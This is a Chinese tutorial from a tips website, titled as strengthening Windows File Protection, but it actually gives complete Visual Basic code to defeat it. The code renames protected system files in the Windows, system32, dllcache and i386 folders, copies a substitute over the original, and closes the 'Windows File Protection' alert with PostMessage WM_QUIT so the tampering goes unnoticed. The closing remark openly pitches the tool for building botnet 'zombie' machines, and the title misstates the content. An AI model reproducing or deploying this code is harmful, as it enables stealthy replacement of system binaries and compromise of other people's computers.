幾招技巧完全加強(qiáng)Windows文件保護(hù)穩(wěn)定性
作者:佚名 來源:本站 時(shí)間:2018-06-28 點(diǎn)擊:82次
“破壞”思想
還是先說思想,有了思想萬事都好辦。注意“攻略”一文中對話框的標(biāo)題,是不是“Windows 文件保護(hù)”啊。我們就從它下手。有兩種方法,一是根據(jù)這個(gè)窗口標(biāo)題查找,找到后將其隱藏,這個(gè)可以通過ShowWindow API和SW_HIDE消息來完成,但是畢竟窗口仍然存在,不是很安全。第二種也同樣是根據(jù)這個(gè)窗口標(biāo)題查找,找到后不是將其隱藏,而是通過發(fā)送系統(tǒng)消息直接關(guān)閉。下面我將以一個(gè)完整的替換文件、關(guān)閉對話框的例子來講解。這里選擇第二種方法。
界面設(shè)計(jì)
好了,還是先給出各控件布局,及對應(yīng)屬性。
初始化
程序開始首當(dāng)其沖的當(dāng)然是初始化了。在這里要聲明需要使用的API、常數(shù)及變量,并獲取Windows目錄的完整路徑。
'獲取WINDOWS安裝所在目錄的API
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'查找窗口句柄的API
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
'根據(jù)句柄關(guān)閉指定窗口的API
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'關(guān)閉窗口的常數(shù)
Private Const WM_QUIT = &H12
'存放Windows目錄的變量
Dim WindowsDirectory As String
Private Sub Form_Load()
'存放獲取的Windows目錄的字符串緩沖區(qū)
Dim Path As String
'設(shè)置緩沖區(qū)內(nèi)容,以便分解Windows目錄的完整路徑
Path = Space(255)
'獲取Windows目錄的路徑,存放進(jìn)緩沖區(qū)
Call GetWindowsDirectory(Path, 255)
'分解Windows目錄的完整路徑
WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2)
'指定被替換文件的完整路徑及文件名
txtSource.Text = WindowsDirectory & "\" & "notepad.exe"
'指定替換文件的完整路徑及文件名
txtDestination = WindowsDirectory & "\" & "regedit.exe"
End Sub
然后就要開始替換文件的過程了。判斷指定的被替換文件和替換文件是否都存在,存在的話則就根據(jù)復(fù)選框選擇的路徑進(jìn)行替換,這里的思想是將所有的文件都改名了,就沒有辦法恢復(fù)了,然后將替換文件復(fù)制成被替換文件,這樣就避免了直接替換而可能產(chǎn)生意料情況。替換后將定時(shí)器激活,進(jìn)行對話框查找。
Private Sub cmdDo_Click()
'執(zhí)行時(shí)屏蔽所有的操作對象,防止誤操作,而導(dǎo)致程序崩潰
cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False
chkWindows.Enabled = False: chkSystem32.Enabled = False: chkDllcache.Enabled = False: chkI386.Enabled = False
'設(shè)置錯(cuò)誤陷阱,因?yàn)橄旅娴某绦蛏婕暗轿募僮?/P>
On Error Resume Next
'判斷被替換文件和替換文件是否存在
If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then
'存在,定義被替換文件的文件名存放變量
Dim FileName As String
'獲取被替換文件的文件名
FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\"))
'判斷是否選中Dllcache復(fù)選框
If chkDllcache.Value = 1 Then
'是則對Dllcache下的被替換文件改名
Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak"
End If
'判斷是否選中System32復(fù)選框
If chkSystem32.Value = 1 Then
'是則對System32下的被替換文件改名
Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak"
End If
'判斷是否選中I386復(fù)選框
If chkI386.Value = 1 Then
'是則對I386下的被替換文件改名
Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak"
End If
'判斷是否選中Windows復(fù)選框
If chkWindows.Value = 1 Then
'是則對Windows下的被替換文件改名
Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak"
End If
'將替換文件復(fù)制為被替換文件
FileCopy txtDestination.Text, txtSource.Text
'激活定時(shí)器
timCheck.Enabled = True
End If
End Sub
最后則是不停的監(jiān)視那個(gè)“Windows 文件保護(hù)”的對話框,一出來就通過PostMessage API向其發(fā)送WM_QUIT系統(tǒng)消息,將其關(guān)閉。這里要注意一點(diǎn),是用PostMessage而不是SendMessage,主要是因?yàn)橄⒉恍枰却,如果用后者,則關(guān)閉不了“攻略”一文中的對話框。反而會(huì)彈出另一個(gè)對話框。
Private Sub timCheck_Timer()
'設(shè)置錯(cuò)誤陷阱
On Error Resume Next
'定義存放"Windows 文件保護(hù)"窗口句柄的變量
Dim hwnd As Long
'查找"Windows 文件保護(hù)"窗口,并把對應(yīng)的句柄存入變量
hwnd = FindWindow(vbNullString, "Windows 文件保護(hù)")
'判斷是否找到窗口
If hwnd <> 0 Then
'是則關(guān)閉窗口
Call PostMessage(hwnd, WM_QUIT, 0, 0)
'給出成功提示
MsgBox "替換成功!", vbInformation
'退出程序
End
End If
End Sub
好了,到這里就可以編譯使用了。
寫在最后
這樣簡簡單單幾步就把MS安全強(qiáng)大的WFP給突破了,讓我自己也有點(diǎn)不敢相信,不過這是事實(shí),不得不信啊。一個(gè)“小”洞+一款利器=多多肉雞,相信你絕對不會(huì)錯(cuò)過的。
相關(guān)閱讀
更多資訊
- 系統(tǒng)垃圾清理批處理代碼
- 使鼠標(biāo)放到任務(wù)欄右邊的日期欄時(shí)怎樣顯示星期
- 二種迅速關(guān)機(jī)辦法
- 一百四十個(gè)電腦技巧
- 跟我學(xué)在電腦右下角時(shí)間處顯示自己名字
- 7個(gè)節(jié)省設(shè)置時(shí)間的電腦小技巧
- 磁盤碎片迅速整理辦法
- 小技巧刪除快捷方式圖標(biāo)上的箭頭
- 用批處理方式刪除刪不了的文件
- 掌握快捷鍵,跟我學(xué)成為電腦高手
- 更改MAC地址,給網(wǎng)卡辦新“身份證”
- 繞過管理系統(tǒng)讓你在網(wǎng)吧上網(wǎng)不花錢
- 巧辦法找到誤刪除文件
- 五個(gè)辦法關(guān)閉優(yōu)盤自動(dòng)播放技巧
- 怎么設(shè)置更好的語音效果
- 用鍵盤彈奏鋼琴曲
- 用電視卡啟動(dòng)
- 在桌面上設(shè)置隱秘文件夾
- 雙擊無法打開盤符及文件夾的原因及處理辦法
- 應(yīng)付刪除不掉的文件的五個(gè)辦法
熱門文章
推薦游戲
換一換- 散人傳奇手游官方版-散人傳奇正版下載v1.0.0
- 冒險(xiǎn)王2gm無限充值版-冒險(xiǎn)王2gm無限充值福利版下載v2.0無限送真充版
- 勇者大秘境內(nèi)測版-勇者大秘境測試版下載v1.10.11手游
- 同一個(gè)世界2無限真充版-同一個(gè)世界2無限充值版下載v1.0送1888充值卡版
- 格斗之皇無限金鉆版本下載-格斗之皇無限金鉆單機(jī)版下載v4.8.0
- 境界斬魂之刃下載安裝-境界斬魂之刃app下載v1.2.30.2手游免費(fèi)下載安裝
- 二戰(zhàn)風(fēng)云2qq登錄版本-二戰(zhàn)風(fēng)云2qq游戲下載v1.0.36.2qq版
- 貓里奧關(guān)卡破解版-貓里奧全關(guān)卡解鎖版下載v3.2無限生命版正版
- 戰(zhàn)線戰(zhàn)術(shù)最新版-戰(zhàn)線戰(zhàn)術(shù)手游免費(fèi)下載v1.5.6安卓版
最新文章
- 人氣排行